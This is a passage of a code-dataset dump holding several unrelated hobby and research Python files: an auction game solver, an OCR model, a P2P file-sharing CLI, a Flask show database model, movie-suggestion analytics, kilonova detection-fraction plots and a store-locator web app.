next_it(items,p2)\n\t\t\t\t\t\tmat[p2][p1] = value[i+1].get(it_p1_win,[0]*nb_p)[p1] - value[i+1].get(it_p2_win,[0]*nb_p)[p1] #p1;p2 if func2, p2;p1 if func\n\t\t\t\t\n\t\t\t\tfor l in mat:\n\t\t\t\t\tprint(l)\n\t\t\t\tprint(value[i][items])\n\t\t\t\tx = input(\"All(a)/One(o)/Err(e): \")\n\t\t\t\tif(x != \"e\"):\n\t\t\t\t\tcheck[i][items] = True\n\t\t\t\telse:\n\t\t\t\t\traise Exception(\"Problem\")\n\t\t\t\tif(x == \"a\"):\n\t\t\t\t\tit = items\n\t\t\t\t\tfor j in range(len(winner)):\n\t\t\t\t\t\tit = next_it(it,winner[j])\n\t\t\t\t\t\tcheck[i+j+1][it] = True\n\t\t\t\t\n\t\t\t\tplt.close(fig)\t\t\n\t\t\t\ndef init(T,player,l_vf, end):\n\tif(player == len(l_vf) - 1):\n\t\treturn [(T,)]\n\tif(T == 0):\n\t\treturn [(0,)*(len(l_vf)-player)]\n\t\n\trec = [init(T-i,player+1,l_vf, end) for i in range(min(T,end[player])+1)]\n\n\n\ttab = []\n\tfor i in range(min(T,end[player])+1):\n\t\tfor j in rec[i]:\n\t\t\ttab += [(i,)+j]\n\t\n\treturn tab \n\t\ndef next_it(it,i):\n\treturn tuple(it[j]+(i==j) for j in range(len(it)))\n\t\ndef sgpe2(l_vf, end):\n\tT = len(l_vf[0]) - 1\n\tnb_p = len(l_vf)\n\tvalue = [0]*(T+1)\n\twinner = [0]*(T+1)\n\tprice_t = [0]*(T+1)\n\tbids_t = [0]*(T+1)\n\tfor i in range(T+1):\n\t\tx = init(i,0,l_vf, end)\n\t\tvalue[i] = {j:0 for j in x} #Creation of nodes\n\t\twinner[i] = {j:0 for j in x} #Creation of nodes\t\n\t\tprice_t[i] = {j:0 for j in x}\n\t\tbids_t[i] = {j:0 for j in x}\n\twinner.pop()\n\tprice_t.pop()\n\tbids_t.pop()\n\t\n\t# print(\"init done\")\n\tfor items in value[T]: #Initialisation of leaves\n\t\tvalue[T][items] = tuple(l_vf[p][items[p]] for p in range(nb_p))\n\t\t\n\tfor i in range(T-1,-1,-1): #Number of items sold\n\t\t# print(i+1,\"items done\")\n\t\tfor items in value[i]:\n\t\t\tmat = [[0]*nb_p for j in range(nb_p)] #Matrice of marginal gain if p1 wins over p2\n\t\t\tfor p1 in range(nb_p):\n\t\t\t\tit_p1_win = next_it(items,p1)\n\t\t\t\t\n\t\t\t\tfor p2 in range(nb_p):\n\t\t\t\t\tit_p2_win = next_it(items,p2)\n\t\t\t\t\tmat[p2][p1] = value[i+1].get(it_p1_win,[0]*nb_p)[p1] - value[i+1].get(it_p2_win,[0]*nb_p)[p1] #p1;p2 if func2, p2;p1 if func\n\t\t\t\n\t\t\tbids_t[i][items],winner,price = func(mat)\n\t\t\tnext_iter = next_it(items,winner)\n\t\t\tvalue[i][items] = tuple(value[i+1][next_iter][p] - (p == winner)*price for p in range(len(value[i+1][next_iter])))\n\t# print(\"values done\")\n\treturn value,bids_t\n\ndef game(value,bids_t,n,T,nb, l_vf):\n\tutility = [0]*n\n\t\n\tprice = [0]*T #Price of different items\n\t\n\t\n\tbid = [[0]*n for i in range(T)]\n\twin = []\n\t\n\tfor i in range(sum(nb),T):\n\t\t# print(\"Round\",i+1)\n\t\twin.append(bids_t[i][nb].index(max(bids_t[i][nb])))\n\t\t\n\t\tbid[i] = bids_t[i][nb]\n\t\t# print(bids_t[i][nb])\n\t\tprice[i] = max([bids_t[i][nb][j] for j in range(n) if j != win[-1]])\n\t\t\t\n\t\t# print(\"Bids:\",*bid[i],'->',price[i])\n\t\t\n\t\t# print(\"Winner is\",win[-1])\n\t\tutility[win[-1]] += l_vf[win[-1]][nb[win[-1]]+1] - l_vf[win[-1]][nb[win[-1]]] - price[i]\n\t\t\n\t\tnb = next_it(nb,win[-1])\n\t\t\t\n\t\t# print(\"\\nP:\",nb,\"items, util\",utility)\n\t\t# print(\"\\n##############\\n\")\n\t\t\n\t\n\tprint(\"Price:\",price)\n\tprint(\"Winner:\",win)\n\t\n\treturn win,bid,price","repo_name":"hishamhawara/Game-theory-research","sub_path":"proof.py","file_name":"proof.py","file_ext":"py","file_size_in_byte":4085,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"3948614586","text":"import torch\nimport cv2 as cv\nimport sys\nimport os\n\n\nsys.path.insert(0, r'C:\\Users\\Brooks\\github\\splitr')\nfrom build_training_data import OCR_DATA_PATH\n\nclass Attention_OCR_Model(torch.nn.Module):\n\tdef __init__(self):\n\t\tsuper(Attention_OCR_Model, self).__init__()\n\n\t\tself.relu = torch.nn.ReLU()\n\t\tself.softmax = torch.nn.Softmax()\n\n\n\t\t# CONVOLUTIONS\n\t\tself.cnn1 = torch.nn.Sequential(\n\t\ttorch.nn.Conv2d(in_channels=3,out_channels=64,kernel_size=3),\n\t\ttorch.nn.ReLU(),\n\t\ttorch.nn.MaxPool2d((2,2), stride=2)\n\t\t) # out: torch.Size([3, 64, 39, 249])\n\n\t\tself.cnn2 = torch.nn.Sequential(\n\t\ttorch.nn.Conv2d(in_channels=64, out_channels=128, kernel_size=3),\n\t\ttorch.nn.ReLU(),\n\t\ttorch.nn.MaxPool2d((2,2), stride=2)\n\t\t) # out: torch.Size([3, 128, 18, 123])\n\n\t\tself.cnn3 = torch.nn.Sequential(\n\t\ttorch.nn.Conv2d(in_channels=128, out_channels=256, kernel_size=3),\n\t\ttorch.nn.ReLU(),\n\t\t) # out: torch.Size([3, 256, 8, 60])\n\n\t\tself.cnn4 = torch.nn.Sequential(\n\t\ttorch.nn.Conv2d(in_channels=256, out_channels=512, kernel_size=3),\n\t\ttorch.nn.ReLU(),\n\t\ttorch.nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3),\n\t\ttorch.nn.ReLU(),\n\t\ttorch.nn.MaxPool2d((1,2), stride = 2)\n\t\t) # out: torch.Size([3, 512, 3, 29])\n\n\t\tself.cnn5 = torch.nn.Sequential(\n\t\ttorch.nn.Conv2d(in_channels=512, out_channels=512, kernel_size=2),\n\t\ttorch.nn.ReLU(),\n\t\ttorch.nn.BatchNorm2d(512),\n\t\ttorch.nn.Conv2d(in_channels=512, out_channels=512, kernel_size=2)\n\t\t) # out:torch.Size([x, 512, 2, 28])\n\n\t\t# Attention Layer ?\n\n\n\n\t\t# RECURRENT LAYERS\n\n\t\tself.lstm1 = torch.nn.LSTM(input_size=224, hidden_size=112, num_layers=1, bidirectional=True)\n\n\t\tself.lstm2 = torch.nn.LSTM(input_size=224, hidden_size=112, num_layers=1, bidirectional=True)\n\n\n\tdef forward(self,x):\n\t\tt = self.cnn1(x)\n\t\tt = self.cnn2(t)\n\t\tt = self.cnn3(t)\n\t\tt = self.cnn4(t)\n\t\tt = self.cnn5(t)\n\n\t\tt = t.view(t.shape[0], 512, -1)\n\n\t\tt, _ = self.lstm1(t)\n\t\tt = self.relu(t)\n\n\t\tt, _ = self.lstm2(t)\n\t\tt = self.relu(t)\n\n\t\t\n\n\t\tprint(t.shape)\nif __name__ == '__main__':\n\tmodel = Attention_OCR_Model()\n\n\timagefiles = os.listdir(OCR_DATA_PATH)\n\timfile = imagefiles[0]\n\timage_path = os.path.join(OCR_DATA_PATH, imfile)\n\timage = cv.imread(image_path)\n\n\tmodel.forward(torch.from_numpy(image).float().view(1,3,80,500))\n\n\t# cv.imshow('ImageWindow', image)\n\t# cv.waitKey()\n","repo_name":"VanillaBrooks/Splitr","sub_path":"models/attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"15288293364","text":"import node\nimport time\nimport os\n\nprint(\"\\nPython P2P File Sharing by apfoser\")\nprint(\"----------------------------------\")\n\nnode = node.Node()\n\nwhile True:\n choice = input(\"\")\n \n if choice == \"connect\":\n ip = input(\"IP address: \")\n if ip == \"self\":\n ip = node.ip\n node.connect(ip)\n \n elif choice == \"exit\":\n node.exit()\n \n elif choice == \"peers\":\n node.ping_peers()\n \n elif choice == \"print peers\":\n node.print_peers()\n \n elif choice == \"send\":\n s = input(\"request: \")\n peer = input(\"ip of peer: \")\n node.send_request(s, peer)\n \n elif choice == \"connections\":\n node.get_connections()\n \n elif choice == \"clear\":\n os.system('cls')\n \n elif choice == \"put\":\n filename = input(\"filename: \")\n node.put_file(filename, 4096)\n \n elif choice == \"get\":\n id = input(\"File Hash: \")\n node.retrieve(id)","repo_name":"apfoser/FileStorage","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71903483345","text":"from math import isnan\nfrom flask import flash\nfrom flask_app.config.mysqlconnection import connectToMySQL\n\nclass show:\n\n def __init__(self, data):\n self.id = data ['id']\n self.title = data ['title']\n self.description = data ['description']\n self.release_date = data ['release_date']\n self.network = data ['network']\n self.user_id = data ['user_id']\n self.created_at = data ['created_at']\n self.updated_at = data ['updated_at']\n \n self.first_name = data ['first_name']\n self.last_name = data ['last_name']\n self.email = data ['email']\n\n\n @classmethod\n def get_all_shows(cls):\n query = \"SELECT * FROM shows LEFT JOIN users ON shows.user_id=users.id;\"\n results = connectToMySQL('Shows').query_db(query)\n if not results:\n return None\n\n shows = []\n for r in results:\n shows.append(cls(r))\n return shows\n\n @classmethod\n def save(cls, data ):\n query = \"INSERT INTO shows ( title, description, release_date, network, user_id, created_at, updated_at ) VALUES ( %(title)s, %(description)s, %(release_date)s, %(network)s , %(user_id)s, NOW() , NOW());\"\n \n return connectToMySQL('Shows').query_db( query, data )\n\n @classmethod\n def get_show(cls, data):\n\n query = \"SELECT * FROM shows LEFT JOIN users ON users.id=shows.user_id WHERE shows.id= %(id)s ;\"\n\n result = connectToMySQL('Shows').query_db(query, data)\n\n if not result:\n return None\n\n return show(result[0])\n\n\n @classmethod\n def delete(cls, data):\n query = \"DELETE FROM shows WHERE id=%(id)s;\"\n\n results = connectToMySQL('Shows').query_db(query, data)\n return results\n\n @classmethod\n def Update(cls, data ):\n query = \"Update shows SET title=%(title)s, description=%(description)s, network=%(network)s, release_date=%(release_date)s, user_id=%(user_id)s, updated_at=NOW() WHERE id = %(id)s;\"\n \n return connectToMySQL('Shows').query_db( query, data )\n\n @staticmethod\n def validate_show(show):\n is_valid = True \n if len(show['title']) < 3:\n flash(\"Title must be at least 3 characters.\")\n is_valid = False\n if len(show['description']) < 3:\n flash(\"Description must be at least 3 characters.\")\n is_valid = False\n if len(show['release_date']) < 1:\n flash(\"Release Date required.\")\n is_valid = False\n if len(show['network']) < 3:\n flash(\"Network must be at least 3 characters.\")\n is_valid = False\n\n return is_valid","repo_name":"greenegm94/Python-Exam","sub_path":"flask_app/models/show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":2674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7790800760","text":"import sys\nimport os\nimport json\nfrom collections import namedtuple\nfrom datetime import datetime, timedelta\nimport numpy as np\n\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\n\nsys.path.insert(0,DIR_PATH + '/../../Filmie-Libraries/inAppFeatures/quickSuggest/bin')\nfrom REC_modules import *\n\n\nMODEL_PATH = DIR_PATH+\"/models/\"\n\n\n\n# Disable\ndef blockPrint():\n sys.stdout = open(os.devnull, 'w')\n\n# Restore\ndef enablePrint():\n sys.stdout = sys.__stdout__\n\n\ndef setupConnection():\n globals()['conn'] = openDB()\n globals()['cur'] = conn.cursor()\n #print(\"CONNECTION SETUP\")\n\n\ndef closeConnection():\n cur.close()\n conn.close()\n #print(\"CONNECTION CLOSED\")\n\n\ndef grabMovieTitles(mList):\n titles = []\n setupConnection()\n cur.execute(\"SELECT title, id\"+\n \" FROM movies\"+\n \" WHERE id = ANY(%s)\" +\n \";\",(mList,))\n\n titles = {}\n for i in cur.fetchall(): titles[i[1]]=i[0]\n closeConnection()\n return titles\n\n\n##################################\n##\n## GRABS ALL QS ACTIONS\n####################################\ndef grabAllQuickSuggestActions():\n actions = []\n setupConnection()\n cur.execute(\"SELECT id, command, startlist_id, resultlist_id, created_at, cookie_id\"+\n \" FROM quicksuggest_action\"+\n \" ;\")\n for i in cur.fetchall(): actions.append(i)\n closeConnection()\n return actions\n\n\n######################################################################\n## GRAB QS ACTIONS WITHIN X HOURS\n##\n## INPUT: span, integer for number of hours\n##\n## OUTPUT: actions that occurred from now(t=0) to span(t=-span)\n##\n######################################################################\ndef grabQuickSuggestActions(span = 0):\n actions = []\n setupConnection()\n if span== 0:\n cur.execute(\"SELECT id, command, startlist_id, resultlist_id, created_at, cookie_id\"+\n \" FROM quicksuggest_action\"+\n \" ;\")\n else:\n right_now = datetime.now()\n start_date = right_now + timedelta(hours=-span)\n cur.execute(\"SELECT id, command, startlist_id, resultlist_id, created_at, cookie_id\"+\n \" FROM quicksuggest_action\"+\n \" WHERE created_at > '\" + start_date.strftime(\"%Y-%m-%d %H:%M:%S'\")+\n \" ;\")\n for i in cur.fetchall(): actions.append(i)\n closeConnection()\n return actions\n\n\n##################################\n##\n## GRAB MOVIES FROM WATCHLIST(X)\n####################################\ndef grabWatchListMovies(watchlist_id):\n setupConnection()\n\n cur.execute('SELECT movie_id FROM movie_watchlist WHERE watchlist_id='+str(watchlist_id))\n \n movieList = []\n for item in cur.fetchall():\n movieList.append(item[0])\n\n closeConnection()\n \n return movieList\n\n##################################\n## IN: listA, list of movies in A\n## listB, list of movies in B\n##\n## OUT: list of movies\n## \n## RETURNS THE DIFFERENCE BETWEEN A-or-B and A&B\n####################################\ndef listDelta(listA, listB):\n delta = []\n delta = list((set(listA)|set(listB)) - (set(listA) & set(listB)))\n return delta\n\n'''\nx in s\t \ttest x for membership in s\nx not in s\t \ttest x for non-membership in s\ns.issubset(t)\ts <= t\ttest whether every element in s is in t\ns.issuperset(t)\ts >= t\ttest whether every element in t is in s\ns.union(t)\ts | t\tnew set with elements from both s and t\ns.intersection(t)\ts & t\tnew set with elements common to s and t\ns.difference(t)\ts - t\tnew set with elements in s but not in t\ns.symmetric_difference(t)\ts ^ t\tnew set with elements in either s or t but not \n'''\n\n##################################\n## IN: userRatings, list containing userLikes, userDislikes, userNeutrals \n## \n## OUT: BM Chosen\n## \n## Re-Calculates which BM was chosen\n####################################\n\n\n\n##################################\n## IN: none\n## \n## OUT: centroids, list of lists containing centroid values of UCs\n## movieList, list of movies which correspond to row-movie\n## \n## Loads Centroids and MovieList\n####################################\ndef loadCentroidData():\n user_centroid = loadMatrixFromFile(MODEL_PATH+\"centroid.npy\")\n user_movieList = loadMatrixFromFile(MODEL_PATH+\"centroidMovies.npy\").tolist()\n\n return user_centroid, user_movieList\n\n\n\n#################################################################\n## IN: list of dicts of every quick suggest action\n##\n## OUT: altered list of dicts that now holds information if the action is a sub-aciton of an early action and if\n## : the action was followed by a subsequent action\n#################################################################\ndef findChainActions(actionList):\n\n timeThreshold = 300 #value in second of largest possible time difference between 2 actions\n\n #################################################################\n #should add logic to test if actions were initiated by same user#\n #################################################################\n\n #################################################################\n #could also test to see if firstItem's command is subset of secondItem's command\n #################################################################\n \n for i, firstItem in enumerate(actionList):\n for j, secondItem in enumerate(actionList):\n if int(firstItem['id_num']) < int(secondItem['id_num']):\n\n #check if the first item's result list equal the second item's start list\n #if set(firstItem['resultList']) == set(secondItem['startList']):\n if firstItem['resultlist_id'] == secondItem['startlist_id']:\n\n #check and see if the two actions happened close to each other in time\n timeDiff = datetime.strptime(secondItem['timeStamp'],\"%Y-%m-%d %H:%M:%S\") - datetime.strptime(firstItem['timeStamp'],\"%Y-%m-%d %H:%M:%S\")\n if timeDiff.seconds < timeThreshold:\n\n #if everything checks out, set the chainTail for the first item to the id_num of the second item\n #and the chainHead for the second iteam to the id_num of the first item\n actionList[i]['chainTail'] = secondItem['id_num']\n actionList[j]['chainHead'] = firstItem['id_num']\n\n\n return actionList \n\n\n##################################\n## IN: list of dicts of every quick suggest action\n## \n## OUT: original list of dicts is altered and every dict in the list now has a new key\n## : and value that corresponds to the average index position of the movies selected\n## : by the user from the starting list\n## \n## Finds the index positions of the movies selected by the user from the starting list and\n## and mean averages them. We are trying to see if users are only selecting the first movies\n## listed and ignoring those displayed further down the list.\n####################################\n\ndef findLocationsOfChoices(actionList):\n\n for i, item in enumerate(actionList):\n\n #check to see if the current action is a sub-action of a previous action. If so, remove the command list from the previous\n # action from the curent action's command list before calculating the position of the command choices.\n #if len(item['chainHead']) > 0:\n if not not item['chainHead']:\n index = next((k for (k, dummy) in enumerate(actionList) if dummy['id_num'] == item['chainHead']), None)\n commandList = list(set(item['command']) - set(actionList[index]['command']))\n else:\n commandList = item['command']\n\n# avePos = 0\n# count = 0\n# for spot in commandList:\n# if spot in item['startList']:\n# avePos += item['startList'].index(spot)\n# count += 1\n#\n# avePos = avePos/count\n\n avePos = np.mean([item['startList'].index(spot) for spot in commandList if spot in item['startList']])\n \n actionList[i].update({'aveChoicePos' : avePos})\n \n return actionList\n\n\n\n\ndef buildChainList(actionList):\n\n chainDict = {}\n for item in actionList:\n if not not item['chainTail']:\n if not item['chainHead']:\n chainPosition = 1\n tempList = []\n tempDict = {}\n tempDict['id_num'] = item['id_num']\n tempDict['command_input_list'] = item['command_input_list']\n tempDict['taste'] = item['taste']\n tempDict['keywords'] = item['keywords']\n tempDict['dir_mult'] = item['dir_mult']\n tempDict['writer_mult'] = item['writer_mult']\n tempDict['position'] = chainPosition\n tempDict['startlist_id'] = item['startlist_id']\n tempDict['resultlist_id'] = item['resultlist_id']\n tempDict['listDelta'] = item['listDelta']\n tempDict['cookie_id'] = item['cookie_id']\n tempList.append(tempDict)\n nextIndex = next((k for (k, dummy) in enumerate(actionList) if dummy['id_num'] == item['chainTail']), None)\n while not not actionList[nextIndex]['chainHead']:\n chainPosition += 1\n tempDict = {}\n tempDict['id_num'] = actionList[nextIndex]['id_num']\n tempDict['command_input_list'] = actionList[nextIndex]['command_input_list']\n tempDict['taste'] = actionList[nextIndex]['taste']\n tempDict['keywords'] = actionList[nextIndex]['keywords']\n tempDict['dir_mult'] = actionList[nextIndex]['dir_mult']\n tempDict['writer_mult'] = actionList[nextIndex]['writer_mult']\n tempDict['position'] = chainPosition\n tempDict['startlist_id'] = actionList[nextIndex]['startlist_id']\n tempDict['resultlist_id'] = actionList[nextIndex]['resultlist_id']\n tempDict['listDelta'] = actionList[nextIndex]['listDelta']\n tempDict['cookie_id'] = actionList[nextIndex]['cookie_id']\n\n tempList.append(tempDict)\n if not not actionList[nextIndex]['chainTail']:\n nextIndex = next((k for (k, dummy) in enumerate(actionList) if dummy['id_num'] == actionList[nextIndex]['chainTail']), None)\n else:\n break\n\n chainDict.update({'chain_'+str(item['id_num']) : tempList})\n\n elif not item['chainHead']:\n chainPosition = 1\n tempList = []\n tempDict = {}\n tempDict['id_num'] = item['id_num']\n tempDict['command_input_list'] = item['command_input_list']\n tempDict['taste'] = item['taste']\n tempDict['keywords'] = item['keywords']\n tempDict['dir_mult'] = item['dir_mult']\n tempDict['writer_mult'] = item['writer_mult']\n tempDict['position'] = chainPosition\n tempDict['startlist_id'] = item['startlist_id']\n tempDict['resultlist_id'] = item['resultlist_id']\n tempDict['listDelta'] = item['listDelta']\n tempDict['cookie_id'] = item['cookie_id']\n tempList.append(tempDict)\n \n chainDict.update({'chain_'+str(item['id_num']) : tempList})\n\n actionList.append(chainDict)\n return actionList, chainDict\n\ndef buildGlob(span = 0):\n glob = []\n if span == 0: actions = grabAllQuickSuggestActions()\n else: actions = grabQuickSuggestActions(span=span)\n for a in actions:\n action_id, command, startlist_id, resultlist_id, created_at, cookie_id = a\n movies_sid = grabWatchListMovies(startlist_id)\n movies_rid = grabWatchListMovies(resultlist_id)\n\n delta = listDelta(movies_sid, movies_rid)\n\n created_at = created_at.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n glob.append([action_id, command, movies_sid, movies_rid, delta, created_at,\n startlist_id, resultlist_id, cookie_id])\n\n return glob\n\n\n\ndef analyzeGlob(glob):\n\n summary = []\n for item in glob:\n\n #unpack glob item and put info into dictionary format\n tempDict = {}\n tempDict['id_num'] = item[0]\n #tempDict['command'] = item[1]\n tempDict['startList'] = item[2]\n tempDict['resultList'] = item[3]\n tempDict['listDelta'] = item[4]\n tempDict['timeStamp'] = item[5]\n tempDict['startlist_id'] = item[6]\n tempDict['resultlist_id'] = item[7]\n tempDict['cookie_id'] = item[8]\n\n #create empty lists that represent chains of quick suggests or 'Going Deeper'\n tempDict['chainHead'] = []\n tempDict['chainTail'] = []\n\n SWITCHES = [\"-taste\",\n \"-keywords\",\n \"-dir_mult\",\n \"-writer_mult\"]\n\n #remove verbose command program and convert the command list from a string to a list\n if item[1].startswith(\"python3 /app/storage/python/quicksuggestions/quicksuggest.py \"):\n commandString = item[1][len(\"python3 /app/storage/python/quicksuggestions/quicksuggest.py \"):]\n commandList = commandString.split()\n print(commandList)\n for s in SWITCHES: tempDict[s[1:]]=False\n tempDict['command_input_list'] = []\n for i in commandList:\n if i in SWITCHES:\n tempDict[i[1:]] = True\n else:\n iList = tempDict['command_input_list']\n iList.append(int(i))\n tempDict['command_input_list'] = iList\n #tempDict['command'] = [int(s) for s in commandString.split(' ')]\n print(tempDict)\n summary.append(tempDict)\n\n\n return summary\n\n\n\n##MAIN##\nblockPrint()\nif len(sys.argv)>1: span = int(sys.argv[1])\nelse: span=0\n\nglob = buildGlob(span=span)\n\nsummary = analyzeGlob(glob)\n\nsummary = findChainActions(summary)\n\n#summary = findLocationsOfChoices(summary)\n\nsummary, chainDict = buildChainList(summary)\n\nenablePrint()\n#print(json.dumps(summary))\nprint(json.dumps(chainDict))\n","repo_name":"AnfieldDude/filmie-analytics","sub_path":"filmie-analytics/quick_suggest/QS_Analytics.py","file_name":"QS_Analytics.py","file_ext":"py","file_size_in_byte":14244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41710086687","text":"from astropy.io import ascii\nimport pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom matplotlib.gridspec import GridSpec\nfrom astropy.table import vstack\nfrom glob import glob\nfrom astropy.table import Table\nimport pickle\nimport numpy as np\nfrom astropy.coordinates import SkyCoord\nimport astropy.units as u\nfrom matplotlib import colors\nimport matplotlib.patches as mpatches\nimport pandas as pd\nimport matplotlib\nimport sys\n# sys.path.append('/Users/viraj/gwemlightcurves')\nfrom gwemlightcurves.KNModels import KNTable\nimport pickle\nfrom datetime import datetime\n\n\ndef calc_fdets_grid(lim_mag, filt, distance, t_tiling, locfrac=None, plot=False):\n cmap = colors.LinearSegmentedColormap.from_list(\"\", ['ghostwhite', 'cornflowerblue', 'darkblue'])\n labs = ['r', 'J']\n Ds = np.linspace(20, 500, 20)\n\n tablelist = []\n with open('app/static/bns_Bulla_parameter_grid_%sband.dat' % (filt), 'rb') as f:\n lcs = pickle.load(f)\n\n peakmags = []\n for row in lcs:\n peakmags.append(np.min(lcs['mag'][0]))\n lcs['peak_mag'] = peakmags\n tablelist.append(lcs)\n\n # tablelist = [r,J]\n DMs = 5 * np.log10(Ds * 1e5)\n t_covs = np.arange(0, 15, 0.3)\n\n fig = plt.figure(figsize=(7, 7))\n gs = GridSpec(1, 1, hspace=0.4, wspace=0.3)\n\n axs = []\n\n pmarrays = []\n\n det_fracs = [[], []]\n\n for ind in range(len(tablelist)):\n t = tablelist[ind]\n t1 = t\n\n for DM in DMs:\n fdetarray = []\n for t_cov in t_covs:\n mapps = t1['mag'][:, 0] + DM\n t_ind = np.argmin(np.abs(t1[0]['t'] - t_cov))\n m_at_cov = mapps[:, t_ind]\n ndet = np.sum(m_at_cov < lim_mag)\n fdet = ndet / len(m_at_cov)\n\n fdetarray.append(fdet)\n det_fracs[ind].append(fdetarray)\n\n det_fracs = np.array(det_fracs)\n\n t_ind = np.argmin(np.abs(t_covs - t_tiling))\n d_ind = np.argmin(np.abs(Ds - distance))\n fdet = det_fracs[0][d_ind][t_ind]\n\n plotname = ''\n if plot:\n ax = fig.add_subplot(gs[0])\n im = ax.imshow(det_fracs[0], extent=[t_covs.min(), t_covs.max(), Ds.min(), Ds.max()], origin='lower',\n aspect=0.026, vmin=0, vmax=1, cmap=cmap, interpolation='bicubic')\n cs = ax.contour(det_fracs[0], [0.1, 0.5, 0.9], colors='black',\n extent=[t_covs.min(), t_covs.max(), Ds.min(), Ds.max()], origin='lower',\n linestyles=['--', '-', ':'], linewidth=3)\n\n ax.set_ylim(80, 450)\n ax.set_xlim(0, 10)\n ax.set_yticks([100, 200, 300, 400])\n ax.set_xticks([0, 2, 4, 6, 8, 10])\n ax.set_ylabel(r'Distance [Mpc]', size=14)\n ax.set_xlabel(r'Time searched [days]', size=14)\n\n ax.text(4, 400, '%s-band' % (filt), size=15)\n ax.text(4, 380, r'm$_{\\rm{lim}} = %s$' % (lim_mag), size=12)\n ax.text(4, 360, r'f$_{\\rm{det, lc}}$ = %.2f' % (fdet), size=12)\n\n if locfrac is not None:\n ax.text(4, 340, r'f$_{\\rm{det}} = %.2f x %.2f = %.2f$' % (fdet, locfrac, fdet * locfrac), size=12)\n fdet = fdet * locfrac\n else:\n ax.text(4, 340, r'Localisation probability not specified', size=12)\n # ax2 = ax.twiny()\n # ax2.set_xlim(np.array([0,10])*9*3600/450 * 1)\n # ax2.set_xlabel(r'Area searched with WINTER [deg$^2$]',size=12,labelpad=10)\n\n # ax.plot(realistic_area90s/(9*3600/450),realistic_distances,'x',color='red',markersize=7)\n\n ax.plot(t_tiling, distance, '*', color='red', markersize=12)\n\n ax.tick_params(labelsize=12)\n # ax2.tick_params(labelsize=12)\n\n ax.plot(0, 0, label=r'f$_{\\rm{det}} = 0.1$', color='black', ls='--')\n ax.plot(0, 0, label=r'f$_{\\rm{det}} = 0.5$', color='black', ls='-')\n ax.plot(0, 0, label=r'f$_{\\rm{det}} = 0.9$', color='black', ls=':')\n ax.legend(fontsize=12)\n\n ax.tick_params(labelsize=12)\n # ax2.tick_params(labelsize=12)\n\n cbar_ax = fig.add_axes([0.93, 0.15, 0.02, 0.75])\n cbar = fig.colorbar(im, cax=cbar_ax)\n cbar.set_label(r'Detected fraction (f$_{\\rm{det}}$)', size=15)\n cbar.ax.tick_params(labelsize=15, pad=5)\n\n ax.legend(fontsize=12, loc=1)\n\n plotname = r'app/static/tloc_dist_comparisons_%s_%s_%s_%s.jpg' % (filt, lim_mag, distance, t_tiling)\n plt.savefig(plotname, bbox_inches='tight')\n\n return fdet, plotname\n\n\ndef calculate_multiple_fdets(tilingtimes, limmags, exptimes, distance, locfracs_covered=None, filt='J'):\n fdets = []\n imagenames = []\n if locfracs_covered is None:\n locfracs_covered = [None] * len(exptimes)\n for ind in range(len(exptimes)):\n fdet, plotname = calc_fdets_grid(limmags[ind], filt, distance, tilingtimes[ind], locfrac=locfracs_covered[ind],\n plot=True)\n fdets.append(fdet)\n imagenames.append('static/' + plotname.split('/')[-1])\n\n return fdets, imagenames\n","repo_name":"virajkaram/emgw_trigger_strat","sub_path":"app/calc_fdet.py","file_name":"calc_fdet.py","file_ext":"py","file_size_in_byte":5005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24125392593","text":"import json\nfrom os.path import join, dirname, realpath\n\nfrom flask import Flask, render_template, request\n\nfrom easypostcode.clients import postcodesClient\nfrom easypostcode.longlats_helper import distance_between\n\napp = Flask(__name__)\nclient = postcodesClient\nstores_path = join(dirname(realpath(__file__)), 'static/stores.json')\npostcodes = None\nstore_names = None\nlocations = None\n\n@app.route('/view_stores')\ndef get_stores_view():\n data = sorted(\n zip(\n store_names, \n postcodes, \n locations), \n key= lambda val:val[0])\n message = \"Arranged alphabetically\"\n return render_template(\n 'stores.html', \n storeTableData = data, \n message = message)\n\n\n@app.route('/view_nearby_stores', methods = ['GET'])\ndef _get_radial_stores():\n data = [[],[],[]]\n # Check arguments\n if 'postcode' in request.args and 'radius' in request.args:\n radial_postcode = request.args.get('postcode')\n radius = request.args.get('radius')\n try:\n radius = float(request.args.get('radius'))\n # Get locations\n data = find_radial_stores(\n postcode = radial_postcode, \n radius = radius)\n # Prepare template message\n message = \"Within {}km of the postcode {}, \\\n arranged North to South\".format(radius, radial_postcode)\n except ValueError:\n message = \"Your radius was not a number, please try again\"\n else:\n message = \"Correct arguments not found, please check your query\"\n return render_template(\n 'stores.html', \n storeTableData = data, \n message = message)\n\n\ndef find_radial_stores(postcode, radius):\n \"\"\"Given a postcode and radius, returns stores within that radius\n\n - param - postcode -- A string matching postcode formatting\n - param - radius -- A number of kilometers from the postcode to search\n - return -- List of tuples contaning name, postcode and (long, lat) tuple\n \"\"\"\n start_location = client.get_position_from(postcode)\n good_locations = []\n for index, end_location in enumerate(locations):\n if (end_location is not None and \n distance_between(\n start_location, \n end_location) \n <= radius):\n good_locations.append(\n (store_names[index], postcodes[index], end_location,))\n return sorted(\n good_locations, \n key= lambda locationTuple: locationTuple[2][1], \n reverse = True)\n\n\n# New to flask, can see moving the static stores to a class, making it easier to test\n# But, not sure how to have remote store which needs initialising and yet keep app stateless\nwith open(stores_path) as storesRaw:\n stores = json.load(storesRaw)\n store_names = list(\n map(\n lambda postcodeDict: postcodeDict['name'], \n stores))\n postcodes = list(\n map(\n lambda postcodeDict: postcodeDict['postcode'], \n stores))\n locations = client.get_bulk_positions_from_array_of(postcodes)\n\n# Launch flask app with data from stores, if we're main\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', 